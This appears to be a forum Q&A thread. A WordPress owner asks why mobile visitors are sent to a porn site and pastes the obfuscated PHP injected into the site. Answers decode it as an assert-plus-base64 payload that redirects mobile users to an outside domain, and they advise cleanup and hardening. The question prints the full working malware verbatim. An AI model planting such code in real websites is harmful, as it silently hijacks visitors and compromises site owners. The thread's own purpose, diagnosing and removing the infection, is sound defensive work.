This question already has an answer here:
- Wordpress Site Keeps Getting Hacked 2 answers
I am having a website (wordpress) and hosted on the shared hosting server, the website is opening fine on the desktop and laptop, but when we open it on the mobile some porn site is opening and even the code of .htaccess file is changed.
The code is
<?php
$_ = strrev("tress\x61"); @$_("e\166a\154\050b\141\163\145\066\064\137\144\145c\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0iaHR0cDovL21vYmlsZS1tb2JpLmluZm8vPzIiPC9zY3JpcHQ+JzsgZmx1c2goKTsgZXhpdDsgfQ=='\051\051\073");
?>
Please help,
Thanks in advance.
Sorry for the problem, I have tried to decode your sample code.
It is:
This will redirect your visitors using mobile devices to certain site.
I suggest you use a malware scanner to check your site, I'm using clamav on server and avast on my local server to scan this code but see no virus detected (It is maybe their database is not update this malware information).
I suggest you still need to scan your site using one of malware scanner to scan your site to detect other virus. Additional you can use grep command to search any files has this code and remove it manual
The grep command is:
Replace
/var/www/html
by root path of your website.P/S: Sorry if my English is not very good.
I have tried to decode above line of code
$_ = strrev("tress\x61");
this line will return an assert function, andis calling the assert function with following paramters.
so in full form it is as follows
Part of malicious code is checking if the request came from any mobile device, tablet or ipad etc.
Conclusion This malicious code checks if the request is coming from a mobile device (Mobile, iPad or any tablet or a specific browser) then redirect this request.
You already found the problematic code, remove it from your directories, Server you are using for hosting, make sure its safe and have anti-virus, changing your passwords might help, also check if your system is embedding this code right when you upload to sever. It might not be server but your system.
Most wordpress hacks come from:
If you cannot make your wp-config.php unreadable to other users on the machine, your problem will never be solved until you move the site.
You should read the Hardening Wordpress guide - if your
.htaccess
was able to to be written by someone over the web, you have a fairly large security hole (if not multiple).You definitely want to remove that code from your
.htaccess
, I did a bit of testing and it is in fact what is redirecting to a porn site. The first line assigns the value "assert" to the variable$_
, and then uses that to run code that has been Base64 encoded. In a nutshell it does some matching on yourHTTP_ACCEPT
variables and makes sure you aren't coming from a search engine by checking outHTTP_USER_AGENT
andHTTP_REFERER
. The URL it redirects to just sends you to Google if you don't append a?2
as a querystring variable.